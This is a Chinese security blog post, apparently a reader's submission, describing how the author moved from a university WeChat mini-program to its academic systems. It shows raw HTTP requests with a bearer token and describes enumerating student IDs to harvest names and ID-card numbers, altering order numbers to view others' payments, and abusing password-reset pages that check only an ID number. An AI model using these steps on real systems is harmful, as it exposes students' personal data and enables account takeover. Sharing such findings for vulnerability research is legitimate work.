前言
免责声明
1
| 以下漏洞均已经上报漏洞平台。请勿利用文章内的相关技术从事非法测试。若因此产生一切后果与本博客及本人无关。
|
分享声明
1
| 此篇博文为微信公众号小呆安全的404Xyunxi_师傅投稿的,经过本人同意,进行分享
|
如何从小程序到教务系统—-漏洞思路分享
挖洞前提
相信很多师傅都会遇到这个问题,如果挖edu没有账号,那么就可以尝试去挖小程序,因为大部分小程序可以微信登陆,不需要账号密码登陆,那么小程序就可以作为一个入口去测试.
测试案例
小程序部分:
1
| 本次案例就是一个小程序案例,一开始我也没有账号,那么将目光瞄准小程序,一开始是一个缴费系统
|
漏洞点一(越权):

首先看到了界面上的培训报名功能点,点进去,看看数据包


找到了这个数据包
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /api/social/regsuccess?studentId=0&openId=o2KYg5d6Xp-XfyRH55bepR6A2Onk HTTP/2 Host: xxxxx.edu.cn Xweb_xhr: 1 Authorization: Basic eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJvMktZZzVkNlhwLVhmeVJINTViZXBSNkEyT25rIiwiaWF0IjoiMTcxMjA1OTMxMSIsIm5iZiI6IjE3MTIwNTkzMTEiLCJleHAiOiIxNzEyMDYwMzExIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9leHBpcmF0aW9uIjoiMjAyNC80LzIgMjA6MTg6MzEiLCJpc3MiOiJTZWNTY2hvb2wiLCJhdWQiOiJ3ciJ9.549KCByIzlS0x4sgl5bmXBx7sxSuFsaSQp4IVbcJ1ts User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/9079 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxxxxxxxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
|
发包

1
| 当studentId=0 的时候,显示该学员还没注册,那么下一步很正常的思路就是遍历一下studentId 看看会不会返回敏感信息
|


1
| 随意更改一下studentId就出现很多敏感信息 ,放到爆破模块跑一下,随意跑500个
|

跑出来了很多一个人的三件套,姓名,身份证,学号,越权+1
漏洞点2(敏感信息泄露):

现在尝试登陆这个小程序,随意使用爆出来的身份信息进行登陆

成功登陆进小程序,拿到个人信息

敏感信息泄露+1
漏洞点3(越权):
继续在登陆过后的小程序翻找功能点

我的票据—-查看票据


数据包
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /api/order/loadOrderInvoice?orderNumber=20230829199535 HTTP/2 Host: xxxxxx.edu.cn Xweb_xhr: 1 Authorization: Basic eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJvMktZZzVkNlhwLVhmeVJINTViZXBSNkEyT25rIiwiaWF0IjoiMTcxMjA1OTMxMSIsIm5iZiI6IjE3MTIwNTkzMTEiLCJleHAiOiIxNzEyMDYwMzExIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9leHBpcmF0aW9uIjoiMjAyNC80LzIgMjA6MTg6MzEiLCJpc3MiOiJTZWNTY2hvb2wiLCJhdWQiOiJ3ciJ9.549KCByIzlS0x4sgl5bmXBx7sxSuFsaSQp4IVbcJ1ts User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/9079 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
|
观察到了orderNumbe 号码 那么尝试更改一下 20230829199533
发包

查看该照片

可以看到缴费人和缴费金额不一样了,存在越权,越权+1
Web部分:
1
| 现在我们整理一下收集到的信息 很多学号 身份证 姓名 三要素齐全了 那么我们下一步思路就是通过这些东西去登陆该学校其他系统
|
鹰图搜索
直接找到很多系统 尝试去登陆

这一步很重要 因为即使账号密码修改了,不是默认的也没有关系,我们可以通过身份证来修改密码,这样就达到了登陆的效果
拿到了第一个系统

界面上没有修改密码的选项,那么就查看js,找到修改密码的接口

拼接

1
| 发现可以直接通过身份证进行密码重置,这里就可以直接重置密码进入系统,然后可以进行后续操作
|
第二个系统

标准的教务系统,继续忘记密码


1
| 密保答案可以随意填写,然后就可以直接修改密码了,这里就只对身份证做了验证,而恰巧我们就得到了身份证,后续我们登陆成功
|

后续就不继续深入讲了
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~